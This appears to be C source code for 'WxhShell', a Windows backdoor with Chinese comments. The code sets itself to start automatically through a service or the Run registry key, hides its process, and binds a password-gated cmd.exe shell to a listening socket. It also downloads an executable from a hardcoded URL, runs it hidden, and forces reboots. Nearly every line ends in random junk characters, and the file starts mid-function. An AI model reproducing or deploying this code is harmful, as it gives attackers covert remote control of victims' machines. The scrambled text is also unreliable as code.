    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l<n5gfJ  
    if(Boot(SHUTDOWN)) 1 Xa+%n9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wVQdUtmk  
    else { Rj&qh`  
    closesocket(wsh); 'oCm.~;_  
    ExitThread(0); 2b!j.T#u  
    } *k!(ti[  
    break; 9 c6'  
    } RCCv>o  
  // 获取shell qTS @D  
  case 's': { T(&kXMaB  
    CmdShell(wsh); BP:(IP!&  
    closesocket(wsh); CX.SYr&!R  
    ExitThread(0); y,^";7U  
    break; 1h{>[ 'L  
  } \"J?@  
  // 退出 (`F|nG=X  
  case 'x': { uX98iJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EM=xd~H  
    CloseIt(wsh); UIz:=DJ  
    break; '6+Edu~Ho)  
    }  ?;+^  
  // 离开 ,FY-d$3)  
  case 'q': { Y[h#hZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wge ho  
    closesocket(wsh); hRRkFz/0&  
    WSACleanup(); O%prD}x  
    exit(1); NA=#> f+U%  
    break; 7Zo&+  
        } PE|PwqX  
  } zw,-.fmM#  
  } \a?K?v|8  
RP(a,D|  
  // 提示信息 KS?mw`Nr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B%2L1T=  
} <_>.!9q  
  } (Hl8U  
&0JK38(  
  return; xM%`K P.8X  
} UKOFT6|  
YsZ{1W  
// shell模块句柄 eQ$e*|}"m  
int CmdShell(SOCKET sock) Yg[ v/[]  
{ 0hFH^2%UY  
STARTUPINFO si; |>Z&S=\I)  
ZeroMemory(&si,sizeof(si)); xv^Sh}\}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n}0za#G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; is9}ePC7Xu  
PROCESS_INFORMATION ProcessInfo; 5GaoJ v  
char cmdline[]="cmd"; '7t|I6$ow  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [gpOu TW  
  return 0; ]GQv4-y  
} n>br,bQe  
xC[~Fyhp  
// 自身启动模式 0r0c|*[+4z  
int StartFromService(void) KS b(R/T  
{ 1B6C<cL:sU  
typedef struct 8~.iuFp  
{ ';&0~[R[  
  DWORD ExitStatus; Q! Kn|mnN  
  DWORD PebBaseAddress; kkT3 wP  
  DWORD AffinityMask; /8=:qIJYA  
  DWORD BasePriority; m5)EQE}gPp  
  ULONG UniqueProcessId; xLe =d|6  
  ULONG InheritedFromUniqueProcessId; E2Us#a  
}   PROCESS_BASIC_INFORMATION; @+iC/  
4 #aqz9k  
PROCNTQSIP NtQueryInformationProcess; #fwzFS \XL  
I ca3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4sb )^3T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .F4oo=  
y+?=E g  
  HANDLE             hProcess; +mivqR~{{  
  PROCESS_BASIC_INFORMATION pbi; D*CIE\+  
3T" #T&eL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HmhUc,EC  
  if(NULL == hInst ) return 0; /X@7ju;   
:-w@^mli  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aF,j J}On  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4g>1G qv6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jo<>Hc{g>  
`E{;85bDH  
  if (!NtQueryInformationProcess) return 0; cT_uJbP+  
-E6Jf$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j\!~9  
  if(!hProcess) return 0; Y_$^:LG  
= vY]G5y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &1*4%N@'  
m &9)'o  
  CloseHandle(hProcess); \P*PjG?R  
P)Z/JHB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v$[ @]`  
if(hProcess==NULL) return 0; ooomi"u  
EW ~*@H  
HMODULE hMod; FTbT9   
char procName[255]; ;:AG2zE!  
unsigned long cbNeeded; `x2fp6  
qnabwF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J'|=*#  
DhY;pG,t  
  CloseHandle(hProcess); jA A'h A  
{'h)  
if(strstr(procName,"services")) return 1; // 以服务启动 tU9rCL:P  
/uC+.B9k  
  return 0; // 注册表启动 ^:qpa5^"  
} X QI.0L"  
n wY2BIB  
// 主模块 NnJ>0|74g  
int StartWxhshell(LPSTR lpCmdLine) en Pzy:C  
{ Coga-: 2vu  
  SOCKET wsl; yonJd  
BOOL val=TRUE; dD[v=Z_  
  int port=0; "CIpo/ebL  
  struct sockaddr_in door; `DI{wqV9  
<FXQxM5"  
  if(wscfg.ws_autoins) Install(); HT{F$27W  
6>@(/mh*  
port=atoi(lpCmdLine); } 9MW! Ss  
Z|]l"W*w  
if(port<=0) port=wscfg.ws_port; UeMnc 5y  
# rh0r`  
  WSADATA data; '}wG"0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vs5 D:cZ}  
xnl<<}4pJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {;]uL`abi?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :`{9x%o;  
  door.sin_family = AF_INET;  rE/}hHU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WpZy](,  
  door.sin_port = htons(port); /uy&2l  
9`ri J4zl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w k-Mu\  
closesocket(wsl); N2[, aU  
return 1; L~^e\^sP  
} Gh>"s#+  
;yRwoTc)Y  
  if(listen(wsl,2) == INVALID_SOCKET) { .a 'ETNY:>  
closesocket(wsl); _DNkdS [[  
return 1; ,m #@%fa  
} ;s}-X_O<  
  Wxhshell(wsl); x(C]O,  
  WSACleanup(); >xxXPvM<`  
^U0apI  
return 0; yC9:sQ'k  
/ e~  
} n`FQgC  
B| $\/xO  
// 以NT服务方式启动 H @3$1h&YS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !1ie:z>s  
{ 5pNvzw  
DWORD   status = 0; OGSEvfW  
  DWORD   specificError = 0xfffffff; UMHuIA:%U  
m _t(rn~f6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |_Naun=+~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9b{g+lMZo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nr 'YWW  
  serviceStatus.dwWin32ExitCode     = 0; |YG)NO  
  serviceStatus.dwServiceSpecificExitCode = 0; rXHHD#\oF  
  serviceStatus.dwCheckPoint       = 0; X+(aQ >y  
  serviceStatus.dwWaitHint       = 0; S&4w`hdD>~  
Sa?~t3*H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rwi2kk#@P  
  if (hServiceStatusHandle==0) return; `^s]?  
LM'*OtpDG  
status = GetLastError(); $5q{vy  
  if (status!=NO_ERROR) c]cO[T_gGa  
{ J@u!S~&r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S>/I?(J  
    serviceStatus.dwCheckPoint       = 0; +1JZB* W  
    serviceStatus.dwWaitHint       = 0; =$:4v`W0(  
    serviceStatus.dwWin32ExitCode     = status; Ymrpf  
    serviceStatus.dwServiceSpecificExitCode = specificError; n:}MULy;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [*mCa:^  
    return; rsIt~w  
  } a=}">=]7  
x|~D(zo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `Cb<KAaCH  
  serviceStatus.dwCheckPoint       = 0; K8Kz  
  serviceStatus.dwWaitHint       = 0; ;-<<1Jz/2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1xFhhncf  
} e!:?_z."  
.@x"JI> ;  
// 处理NT服务事件,比如:启动、停止 'vf,T4uQ"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,M+h9_&0?  
{ #b]}cwd!  
switch(fdwControl) ;6\Ski0=l  
{ e>)}_b  
case SERVICE_CONTROL_STOP: >mGGJvTx  
  serviceStatus.dwWin32ExitCode = 0; @; j0c_^"!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zm_hLk  
  serviceStatus.dwCheckPoint   = 0; g,z&{pZch  
  serviceStatus.dwWaitHint     = 0; gZ79u  
  { \nWzn4f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]aL  [  
  } #!<+:y'S?  
  return; %r}KvJgd  
case SERVICE_CONTROL_PAUSE: ^<5^9]x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '3Lx!pMhN  
  break; %n V@'3EI  
case SERVICE_CONTROL_CONTINUE: r*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R - ?0k:  
  break; %_i0go,^  
case SERVICE_CONTROL_INTERROGATE: hQW#a]]V:  
  break; $[^ KCNB  
}; Z "+rg9/p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .DV#-tUh  
} R!M|k%(  
_UbR8  
// 标准应用程序主函数  onS{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `5~o=g  
{ 8Vg`;_-  
EC\rh](d 1  
// 获取操作系统版本 v#AO\zYKd  
OsIsNt=GetOsVer(); T_;G))q'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wtgO;w  
\`<s@U  
  // 从命令行安装 Liz 6ob  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8xGkh?%  
TTw~.x,  
  // 下载执行文件  }@Ll!,  
if(wscfg.ws_downexe) { !Z9ikn4A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,y{fqa4  
  WinExec(wscfg.ws_filenam,SW_HIDE); HWao3Lz  
} 5kL#V  
`A}{ I}xq  
if(!OsIsNt) { eJwii  
// 如果时win9x,隐藏进程并且设置为注册表启动 :XZJxgx  
HideProc(); *rMN,B@  
StartWxhshell(lpCmdLine); <?`e9o  
} qo&SJDG  
else h 19.b:JT  
  if(StartFromService()) ",,qFM!  
  // 以服务方式启动 khO<Z^wi[  
  StartServiceCtrlDispatcher(DispatchTable); "N[gMp6U  
else xBx?>nN  
  // 普通方式启动 f"}14V  
  StartWxhshell(lpCmdLine); <3]/ms  
b ffml  
return 0; >Gu>T\jpe.  
} d ;Gm{g#  
!z&seG]@  
EXM/>PG  
eVbh$cIrZ  
=========================================== ywa.cq  
eC1c`@C:  
EPUJa~4  
ysP/@;jC  
}X.8.S'  
 3kzGL  
" y`P7LC  
$AJy^`E^  
#include <stdio.h> I]S(tx!  
#include <string.h> looPO:bo^  
#include <windows.h> U=*q;$L#  
#include <winsock2.h> zw;(:fgY#  
#include <winsvc.h> M`g Kt (3  
#include <urlmon.h> Ns7l-mb  
J,2v~Dq  
#pragma comment (lib, "Ws2_32.lib") ',-X#u  
#pragma comment (lib, "urlmon.lib") (fjXp75  
C @[9 LB  
#define MAX_USER   100 // 最大客户端连接数  9%hB   
#define BUF_SOCK   200 // sock buffer -T="Ml &  
#define KEY_BUFF   255 // 输入 buffer s_e#y{ {C2  
fJN9+l  
#define REBOOT     0   // 重启 :~YyHX  
#define SHUTDOWN   1   // 关机 ZI:d&~1i1  
TbUkqABm  
#define DEF_PORT   5000 // 监听端口 S>zKD  
jC }u>AB  
#define REG_LEN     16   // 注册表键长度 B 0fo[Ev  
#define SVC_LEN     80   // NT服务名长度 ^ZZ@!Udy  
C3`.-/{D"  
// 从dll定义API  K`mxb}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !QzMeN;D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~d1RD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q\b9e&2Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7JK 'vT  
!c;p4B)  
// wxhshell配置信息 9<#R;eIsv  
struct WSCFG { PyJblW  
  int ws_port;         // 监听端口 FH@e:-*=  
  char ws_passstr[REG_LEN]; // 口令 m`w6wz  
  int ws_autoins;       // 安装标记, 1=yes 0=no \VzQ1B>k  
  char ws_regname[REG_LEN]; // 注册表键名 J+Y|# U  
  char ws_svcname[REG_LEN]; // 服务名 |@4h z9~3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wh&Z *J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cN(QTbyl6Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )9P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 91'^--N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zCN;LpbEJY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NomK(%8m$  
,wy:RVv@e  
}; 2Uw}'J_N  
NxRiEe#m  
// default Wxhshell configuration 1JY90l$ME  
struct WSCFG wscfg={DEF_PORT, t5[JN:an  
    "xuhuanlingzhe", J-,X0v"  
    1, J!qEj{  
    "Wxhshell", )FiU1E  
    "Wxhshell", .St h  
            "WxhShell Service", %JU23c*  
    "Wrsky Windows CmdShell Service", a*@Z^5f  
    "Please Input Your Password: ", |[t=.dK%  
  1, 8&AorYw[  
  "http://www.wrsky.com/wxhshell.exe", 2+rao2  
  "Wxhshell.exe" "alO"x8t  
    }; Jrrk$0H^~  
JC-yiORVr  
// 消息定义模块 NQ{Z   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y{B_OoTun  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'Z%aBCM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; = ft$j  
char *msg_ws_ext="\n\rExit."; w4/)r-Z4I  
char *msg_ws_end="\n\rQuit."; R3 =E?us!  
char *msg_ws_boot="\n\rReboot..."; %Y[/Ucdm  
char *msg_ws_poff="\n\rShutdown..."; )bJ6{&  
char *msg_ws_down="\n\rSave to "; 0md{e`'q:  
`o-<,  
char *msg_ws_err="\n\rErr!"; .jU0Hu{F4  
char *msg_ws_ok="\n\rOK!"; sm <kb@g  
F}mwQ%M  
char ExeFile[MAX_PATH]; t$Ji{t-  
int nUser = 0; Z%d4V<fn  
HANDLE handles[MAX_USER]; ]nGA1S{  
int OsIsNt; "s^@PzQpN  
DxG'/5jQ[  
SERVICE_STATUS       serviceStatus; Y\F H4}\S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ijSYQ  
Vc<n6  
// 函数声明 <GlV!y  
int Install(void); 745PCC'FK  
int Uninstall(void); lY,1 w  
int DownloadFile(char *sURL, SOCKET wsh); ~DS9{Y  
int Boot(int flag); /9gMcn9EB  
void HideProc(void); JVCgYY({KQ  
int GetOsVer(void); !I  P*  
int Wxhshell(SOCKET wsl); I!@` _Q9N  
void TalkWithClient(void *cs); ~d8o,.n`1  
int CmdShell(SOCKET sock); |/ 7's'  
int StartFromService(void); LxGh *7K-  
int StartWxhshell(LPSTR lpCmdLine); uZI:Kt#  
tG&B D\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a,\u|T:g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;Q 6e&Ips/  
3 +9|7=d  
// 数据结构和表定义 $VNn`0^gF  
SERVICE_TABLE_ENTRY DispatchTable[] = v Cr$miZ  
{ f4^_FK&  
{wscfg.ws_svcname, NTServiceMain}, ;\0RXirk  
{NULL, NULL} IKj1{nZvDc  
}; `2+52q<FO  
l0o_C#"<S  
// 自我安装 <\ c8q3N  
int Install(void) \Fjq|3`<l  
{ 1Ez A@3:{  
  char svExeFile[MAX_PATH]; M#,+p8  
  HKEY key; {[iQRYD0|  
  strcpy(svExeFile,ExeFile); @K> Pw arl  
i oQlC4Y  
// 如果是win9x系统,修改注册表设为自启动 G*V 7*KC  
if(!OsIsNt) { NsK>UJ'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nr6U> KR^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eHIC'b.  
  RegCloseKey(key); !9Ni[8&Fg0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @1X1E 2:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [# H8Mb+7  
  RegCloseKey(key); D]y.!D{l2  
  return 0; 9a,CiH%@  
    } [X\2U4  
  } b&&'b )  
} w%na n=  
else {  yFv3>\  
Tl-B[CT  
// 如果是NT以上系统,安装为系统服务 cVi CWc2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z81!F'x;  
if (schSCManager!=0) 3"RZiOyv  
{ G(e?]{(  
  SC_HANDLE schService = CreateService g_=ZcGC  
  ( (.) s =  
  schSCManager, 8=VX` X  
  wscfg.ws_svcname, '!GI:U+g  
  wscfg.ws_svcdisp, J>&GP#7}  
  SERVICE_ALL_ACCESS, YzVLa,[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )HcC\[  
  SERVICE_AUTO_START, b9jm= U  
  SERVICE_ERROR_NORMAL, wVX0!y6  
  svExeFile, ->UrWW^  
  NULL, v.J#d>tvf  
  NULL, ~KvCb3~X  
  NULL, =0|evC  
  NULL, c7 -j  
  NULL 5}VP-04vh  
  ); l"Q8`  
  if (schService!=0) \U8Vsx1tl  
  { U^I'X7`r  
  CloseServiceHandle(schService); fx5vaM!  
  CloseServiceHandle(schSCManager); pj`-T"Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $cedO']  
  strcat(svExeFile,wscfg.ws_svcname); v'=APl+_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )i>KgX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BGS6uV4^>  
  RegCloseKey(key); 64cmv}d_  
  return 0; ;2~Q97c0  
    } ;DpK* A  
  } x~.U,,1  
  CloseServiceHandle(schSCManager);  -W ,b*U  
} ~heF0C_  
} bzS [X  
agzG  
return 1; YXEZ&$e'  
} jXQ_7  
I._=q  
// 自我卸载 i)ctrdP-  
int Uninstall(void) =r2d{  
{  ?auiq  
  HKEY key; -mF9Skj  
mBF?+/l  
if(!OsIsNt) { &3efJ?8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Fx8&Z  
  RegDeleteValue(key,wscfg.ws_regname); U;/ )V  
  RegCloseKey(key); @AFLFX]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J^T66}r[f,  
  RegDeleteValue(key,wscfg.ws_regname); {lA@I*_lj  
  RegCloseKey(key); fi)ypv*  
  return 0; $Z4p$o dk  
  } h kY E7  
} Fu$otMw%l  
} Gu pKM%kM  
else { M vCBgLN  
-p }]r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '1+ Bgf  
if (schSCManager!=0) (46)v'?  
{ /(w5S',EL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p#w,+)1!d  
  if (schService!=0) "x)W3C%*S  
  { $A ,=z  
  if(DeleteService(schService)!=0) { ZJqmD  
  CloseServiceHandle(schService); (~~=<0S  
  CloseServiceHandle(schSCManager); //(c 1/s  
  return 0; .6*A~%-=[d  
  } v3B ^d}+.  
  CloseServiceHandle(schService); h?b{{  
  } 9b0Z Ey{  
  CloseServiceHandle(schSCManager); E4Sp^,  
} AMr9rBd  
} Fpb1.Iz  
|N*>K a;  
return 1; *,(`%b[  
} NNT9\JRv_  
C^a~)r.h  
// 从指定url下载文件 [3s~Z8 pP  
int DownloadFile(char *sURL, SOCKET wsh) nz(OHh!}u  
{ `'/8ifKz  
  HRESULT hr; \n5,!,A  
char seps[]= "/"; 8`D_"3j3g\  
char *token; [": x  
char *file; 1/ a,7Hl  
char myURL[MAX_PATH]; mEGMe@37  
char myFILE[MAX_PATH]; t9kgACo/M  
`fH6E8N  
strcpy(myURL,sURL); lyyi?/W%  
  token=strtok(myURL,seps); cG<?AR?wDT  
  while(token!=NULL) GZ1>]HB>r^  
  { 9Ah4N2nL-b  
    file=token; q#Bdq8  
  token=strtok(NULL,seps); |G1U $p  
  } 5 Z@Q ^  
!@Ox%vK  
GetCurrentDirectory(MAX_PATH,myFILE); T|u)5ww%  
strcat(myFILE, "\\"); B\Uj  
strcat(myFILE, file); ~HELMS~-  
  send(wsh,myFILE,strlen(myFILE),0); m4EkL  
send(wsh,"...",3,0); Dbgw )n*2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B>R6j}rh'k  
  if(hr==S_OK) uW]n3)7<I  
return 0; a^22H  
else \ZC7vM"h  
return 1; b@7 ItzD  
o,29C7Ii  
} h:|aQJG5  
js{ RaR=  
// 系统电源模块 ]!/1qF  
int Boot(int flag) (qaY,>je]D  
{ wm}i+ApK  
  HANDLE hToken; A >e%rx  
  TOKEN_PRIVILEGES tkp; 4 1Ru@  
<_D+'[  
  if(OsIsNt) { j,~h:MT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %l>^q`p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D~-Ri`k.  
    tkp.PrivilegeCount = 1; p%}oo#%J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZY83, :<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *_ "j"{  
if(flag==REBOOT) { pvX\k X3}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 ,!]x>B  
  return 0; >Zr`9$i  
} :5ji.g* 0  
else { r!;NH3 *  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n04Zji(F@  
  return 0; WKN\* N<  
} SW bwD/SN  
  } ]86U -`p  
  else { Ef#%4ky  
if(flag==REBOOT) { C\1Dy5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X@ TQD  
  return 0; )s!x)< d;  
} ]]Wa.P~]O  
else { =|H/[",gg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y0Ag px  
  return 0; K(hqDif*6  
} R#oXQaBJ  
} 8NpQ"0X  
P! :D2zSH_  
return 1; =>4,/g3  
} 'peFT[1> (  
Yk:\oM   
// win9x进程隐藏模块 >I+O@  
void HideProc(void) ZMbv1*Vt  
{ 9=:!XkT.  
v-OaH81&R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P>:"\I[  
  if ( hKernel != NULL ) `/"TYR%  
  { Jcm" i ~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  75%!R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gg933TLu(Q  
    FreeLibrary(hKernel); xmbkn}@A  
  } =*}|y;I  
R`Q9|yF\  
return; |06G)r&  
} h T4fKc7P  
u"nyx0<  
// 获取操作系统版本 tlc&Wx  
int GetOsVer(void) !tN]OQ)'  
{ |XPT2eQ{  
  OSVERSIONINFO winfo; o[_ {\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?!b}Ir<1j  
  GetVersionEx(&winfo); UL(#B TK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $6R<)]6  
  return 1; e)O6k7U$  
  else ^ygN/a>rr  
  return 0; eQA89 :j,  
} xCGvLvFn  
k}~|jLu@g  
// 客户端句柄模块 st~f}w@  
int Wxhshell(SOCKET wsl) H;|^z@RB<  
{ D.X%wJ8  
  SOCKET wsh; "QA!z\0\  
  struct sockaddr_in client; 5ZUqCl(PX)  
  DWORD myID; >AJtoJ=j  
7h,SX]4Q  
  while(nUser<MAX_USER) %*zgN[/w  
{ 't2"CPZ  
  int nSize=sizeof(client); klv ]+F&[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !'MZeiLP  
  if(wsh==INVALID_SOCKET) return 1; /=i^Bgh4  
>$k_tC'"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )~s(7 4`}  
if(handles[nUser]==0) os"o0?  
  closesocket(wsh); Busxg?=  
else }m(u o T~  
  nUser++; &*r YY\I  
  } &?v^xAr?B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .(ki(8Z N  
%\2 ll=p1  
  return 0; &K/5AH"q  
} kF`2%g+  
zq8LQ4@ay  
// 关闭 socket [*Wq6n  
void CloseIt(SOCKET wsh) Jr|"`f%V  
{ (ybKACx  
closesocket(wsh); 5l}v  
nUser--; H4MFTnJ{  
ExitThread(0); d?.ewsC  
} 8W9kd"=U  
"xi)GH]H_  
// 客户端请求句柄 )L<NW{  
void TalkWithClient(void *cs) n'K,*  
{ 3t)07(x_B  
twq!@C  
  SOCKET wsh=(SOCKET)cs; glm29hF  
  char pwd[SVC_LEN]; ,)[u<&  
  char cmd[KEY_BUFF]; XnV*MWv  
char chr[1]; =LC:1zn4  
int i,j; q",n:=PL  
lo5,E(7~h  
  while (nUser < MAX_USER) { ?Bno?\  
'D;v>r  
if(wscfg.ws_passstr) { :dc>\kUIv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #"|</*% >  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <}&n}|!  
  //ZeroMemory(pwd,KEY_BUFF); @Xts}(L  
      i=0; F2saGpGH  
  while(i<SVC_LEN) { T8bk\\Od  
/PafIq  
  // 设置超时 V>>"nf,YO  
  fd_set FdRead; !?,7Cu.5#6  
  struct timeval TimeOut; |@`F !bnLr  
  FD_ZERO(&FdRead); d,tGW  
  FD_SET(wsh,&FdRead); %wzDBsX  
  TimeOut.tv_sec=8; _ fJ 5z  
  TimeOut.tv_usec=0; 8M <q-sn4B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d="Oge8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dp3&@M"^yY  
<lopk('7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z ]V^s8>  
  pwd=chr[0]; B4Ko,=pg  
  if(chr[0]==0xd || chr[0]==0xa) { ["TUSf]  
  pwd=0; gdPv,p19L  
  break; R*|y:T,H  
  } q$L=G  
  i++; >x]b"@Hkw  
    } CoO..  
(NR8B9qLN  
  // 如果是非法用户,关闭 socket :m#[V7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c>!zJA B  
} *-'u(o  
Ta8;   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -.<fGhmU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ek\8u`GC  
+i HZ*  
while(1) { 6[b'60CuZL  
4 ;ybQ  
  ZeroMemory(cmd,KEY_BUFF); AqnDsr!  
b&BkT%aA(G  
      // 自动支持客户端 telnet标准   ?y_W%og W  
  j=0; W}{RJWr  
  while(j<KEY_BUFF) { JcV'O)&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5tfD*j n  
  cmd[j]=chr[0]; oM\b>*  
  if(chr[0]==0xa || chr[0]==0xd) { Xo[j*<=0  
  cmd[j]=0; DLggR3K_\  
  break; . 7*k}@k  
  } q$RJ3{Sf  
  j++; 6Y9FU  
    } 69/aP=  
HEh,Cf7`'  
  // 下载文件 Se~< Vpo  
  if(strstr(cmd,"http://")) { Ck.LsL-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rH Y SS0*3  
  if(DownloadFile(cmd,wsh)) G8AT] =  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); paCC'*bv  
  else :x88  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $]LhE:!G  
  } J,q6  
  else {  ja!K2^  
oE/g) m%  
    switch(cmd[0]) { <5@VFRjc  
  8G3CQ]G  
  // 帮助 >2v UFq`H  
